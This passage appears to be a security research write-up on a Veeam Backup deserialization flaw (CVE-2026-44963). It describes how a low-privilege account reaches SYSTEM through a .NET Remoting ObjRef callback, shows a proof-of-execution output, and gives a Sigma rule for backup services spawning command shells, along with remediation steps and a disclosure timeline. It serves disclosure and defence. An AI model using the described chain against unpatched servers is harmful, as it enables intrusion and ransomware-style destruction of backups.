We didn't just run this once in April and screenshot it. We re-ran it live on the unpatched v12.3.2.4465 server while writing this section, driving the exploit as a freshly created non-admin local account (demo_lowpriv, a member of *Users only, explicitly not in Administrators and holding no Veeam role) against the Threat Hunter on 127.0.0.1:6175:

The account has no admin rights and no Veeam role — only membership in BUILTIN\Users, the group every domain user lands in by default. It connects, extracts the transport sink, sends a 570-byte ObjRef, and the server calls back. Note the callback order, because it is the mechanism made visible:

  • MethodBase first — this is EnsureAccessIsAllowed reaching for msg.MethodBase to authorize the call. The authorization check is the first thing that touches the attacker.
  • Uri, MethodName, TypeName, MethodBase again — the dispatch layer walking the message members to build the invocation.
  • Properties — GADGET DELIVERED — the reply to get_Properties carries the SortedSet<string>, deserialized on the victim (no whitelist on this leg), and Process.Start runs.

One type tells the whole story:

PS C:\> type C:\PWNED_DEMO.txt
nt authority\system

A throwaway account with no admin rights and no Veeam role had just made the most privileged identity on the box run a command for it — no exploit-dev wizardry required, just one serialized object sent to a port that trusts everyone (reproduced 2026-07-06). The original April run was end-to-end across two separate VMs over the network (attacker 20.85.237.188 → victim 20.127.118.255); this reproduction collapses it to one host for clarity, but the chain — SSPI in, ObjRef out, callback, gadget on the reply — is identical.

Impact

What does SYSTEM on the backup server actually buy an attacker? Close to everything:

  • Total control of the backup fabric — encryption keys, stored credentials, every backup file.
  • A ransomware amplifier — the modern extortion playbook destroys backups first. This bug is that step, delivered by a single domain credential.
  • Built-in lateral movement — the Veeam service account usually holds admin rights across every protected host (vSphere, Hyper-V, physical).
  • Domain escalation — backup sets routinely contain AD snapshots and cached credentials.
  • MSP blast radius — one Veeam instance across many tenants turns a single credential into a multi-customer incident.

Entry price: one domain user account. No admin, no Veeam role, no user interaction. CVSS 9.4.

Detecting This at Runtime

This is the part a CVE number and a patch note leave out, and it's the part we care most about.

The uncomfortable pattern here is that this is the third deserialization RCE in this product's recent history, each one defeated the previous mitigation, and each mitigation was a list. CVE-2024-40711 was fixed. A blacklist was added. CVE-2025-23120 defeated the blacklist with a couple of DataSet subclasses. A whitelist replaced it. CVE-2026-44963 defeated the whitelist with a single entry nobody caught. A signature written for any one of these would not have caught the next.

That's the problem with defending deserialization by enumerating types, and it's why the durable signal isn't the payload — it's the behavior. This exploit has a runtime shape that no legitimate workload produces:

  • A .NET Remoting server process opening an unexpected outbound connection to a caller-supplied endpoint, moments after inbound deserialization — the ObjRef proxy phoning home.
  • The BinaryFormatter deserialization path resolving System.Runtime.Remoting.ObjRef from an inbound request at all.
  • The Veeam service account (SYSTEM) spawning cmd.exe / powershell.exe as a child of a backup service — a Process.Start that has no business existing in that process's normal behavior.

The cheapest of these to catch is the last one — a backup service has no earthly reason to launch a command interpreter, and our live run did exactly that (Veeam.ThreatHunterServicecmd.exe, as SYSTEM). A process-ancestry rule catches it with essentially zero false positives:

title: Veeam backup service spawned a command interpreter (CVE-2026-44963 and variants)
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    ParentImage|endswith:
      - '\Veeam.ThreatHunterService.exe'
      - '\Veeam.Backup.Service.exe'
      - '\Veeam.Backup.BrokerService.exe'
    Image|endswith: ['\cmd.exe', '\powershell.exe', '\pwsh.exe']
  condition: selection
level: high

The earliest signal, though, fires before any code runs: a Veeam Remoting service process opening an outbound TCP connection to a caller-supplied address (the ObjRef proxy dialing home) — normal backup traffic is inbound and to known infrastructure, never outbound to an arbitrary host named in a request. That's the moment the authorization check touches the proxy, well before Process.Start.

None of these depend on knowing the gadget, the CVE, or whether the patch is applied. They describe what the attack does, not what it looks like on the wire. A defense anchored on that behavior fires on the next variant too — the fourth deserialization bug that hasn't been assigned a number yet. Patch today, absolutely; runtime behavioral detection is what covers the window before the patch lands, and the variants the patch never anticipated.

Remediation

Now

  1. Patch to 12.3.2.4854 (KB4869). If you can move to v13.0+, better still — the bug class is gone there.
  2. If you can't patch immediately, firewall port 6175 to trusted backup-infrastructure hosts only, and do the same for 9392, 9393, and 10001-10006 (same sink pattern).
  3. Watch for anomalous .NET Remoting connections to those ports and for backup services spawning command interpreters.

For the code owners

  1. Remove ObjRef from the whitelist. Add System.Runtime.Remoting.ObjRef to RestrictedTypes and strike it from whitelist.txt. A one-line change that kills the primary chain.
  2. Never let the authorizer dereference an untrusted message. EnsureAccessIsAllowed reads msg.MethodBase off a message that can be a transparent proxy — turning the ACL check into an attacker callback. Authorize on the SSPI identity (known at the transport layer) and reject any request that deserializes to a MarshalByRefObject/transparent proxy before touching its members. Moving the check "earlier" is not enough on its own — the check must not read attacker-controlled state at all.
  3. Apply the whitelist to the reply leg too. The binder no-ops when _serializingResponse == true; a process that can be induced to act as a Remoting client (via ObjRef) then has an unguarded deserialization path. Enforce the same type restrictions on responses.
  4. Tighten the Threat Hunter's access check:
// Before — every member of BUILTIN\Users, i.e. every domain user:
if (new WindowsPrincipal(windowsIdentity).IsInRole(WindowsBuiltInRole.User))
    return true;

// After — administrators or an explicit Veeam role:
if (CGenericAccessChecker.IsInBuiltinAdministrator(windowsIdentity))
    return true;
  1. Mark the signing certificate non-exportable to close the JWT-forgery path.

Longer term

  • Retire .NET Remoting. It's deprecated and inseparable from BinaryFormatter. Move to WCF-with-real-middleware or gRPC.
  • Remove BinaryFormatter. It's flagged dangerous by Microsoft's own tooling (SYSLIB0011). DataContractSerializer or System.Text.Json don't hand attackers a proxy factory.
  • Stop treating allow/deny lists as the security boundary for deserialization. Three RCEs in this lineage make the case on their own: never deserialize untrusted data with a type-promiscuous formatter, and never act on attacker bytes before authorizing the sender.

Timeline

Date Event
Apr 19, 2026 Research begins; v12.3.2.4465 deployed on Azure
Apr 21, 2026 Full decompilation complete (4,644 binaries, ~0.48 GB of decompiled C#)
Apr 23, 2026 Pre-auth WCF reach confirmed; JWT-forgery path proven; ObjRef found on the whitelist
Apr 26, 2026 Transport-sink TypeFilterLevel.Low bypass and callback chain working
Apr 26, 2026 TypeConfuseDelegate RCE via response deserialization
Apr 26, 2026 Remote end-to-end RCE confirmed — attacker VM to Veeam VM as NT AUTHORITY\SYSTEM
Apr–May 2026 Reported to Veeam independently; Veeam Backup security team confirms it as a duplicate of watchTowr's earlier report
Jun 09, 2026 Veeam publishes KB4869 / patch 12.3.2.4854; CVE-2026-44963 assigned, credited to Sina Kheirkhah (watchTowr)
Jul 06, 2026 Re-verified live on the unpatched v12.3.2.4465 server as a non-admin Users-group account; whitelist gap confirmed against the shipping DLL
Apr 19, 2026:
Research begins; v12.3.2.4465 deployed on Azure
Apr 21, 2026:
Full decompilation complete (4,644 binaries, ~0.48 GB of decompiled C#)
Apr 23, 2026:
Pre-auth WCF reach confirmed; JWT-forgery path proven; ObjRef found on the whitelist
Apr 26, 2026:
Transport-sink TypeFilterLevel.Low bypass and callback chain working
Apr 26, 2026:
TypeConfuseDelegate RCE via response deserialization
Apr 26, 2026:
Remote end-to-end RCE confirmed — attacker VM to Veeam VM as NT AUTHORITY\SYSTEM
Apr–May 2026:
Reported to Veeam independently; Veeam Backup security team confirms it as a duplicate of watchTowr's earlier report
Jun 09, 2026:
Veeam publishes KB4869 / patch 12.3.2.4854; CVE-2026-44963 assigned, credited to Sina Kheirkhah (watchTowr)
Jul 06, 2026:
Re-verified live on the unpatched v12.3.2.4465 server as a non-admin Users-group account; whitelist gap confirmed against the shipping DLL

Credit and Closing

We found and reported CVE-2026-44963 to Veeam independently, and the Veeam Backup security team confirmed it as a duplicate of the report Sina Kheirkhah (@SinSinology) of watchTowr had filed just before us. The credit is theirs, deservedly, and we're happy to give it — arriving at the same bug from a different direction only raised our respect for the work. The fix ships in 12.3.2.4854. We appreciate Veeam's prompt patch and the architectural cleanup already delivered in v13, and we're publishing our own path — the Threat Hunter service, port 6175, the whitelist gap, and the transport-sink bypass — because those specifics hadn't been documented publicly and they explain why the defenses in place didn't hold.

The larger takeaway is the one we keep arriving at from different directions: this is the third deserialization RCE in this product in a row, each one defeating the last list-based mitigation. Lists don't converge on safety; attackers converge on the gap. The durable defense isn't a better list — it's understanding how the application behaves at runtime and recognizing the attack by what it does. That's the layer that catches the variant nobody has a signature for yet.

If you run Veeam, the single most important line on this page is the first one under Remediation: patch. If you want to understand your live exposure to this and to the next deserialization bug before it has a CVE, contact Miggo — that's exactly the problem we work on.

— Miggo Research

<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/gsap.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/Flip.min.js"></script>

<script>
  document.addEventListener("DOMContentLoaded", (event) => {
    gsap.registerPlugin(Flip);
    const state = Flip.getState("");
    const element = document.querySelector("");
    element.classList.toggle("");
    Flip.from(state, {
      duration: 0,
      ease: "none",
      absolute: true,
    });
  });
</script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/gsap.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/gsap@3.12.5/dist/Flip.min.js"></script>

<script>
  document.addEventListener("DOMContentLoaded", (event) => {
    gsap.registerPlugin(Flip);
    const state = Flip.getState("");
    const element = document.querySelector("");
    element.classList.toggle("");
    Flip.from(state, {
      duration: 0,
      ease: "none",
      absolute: true,
    });
  });
</script>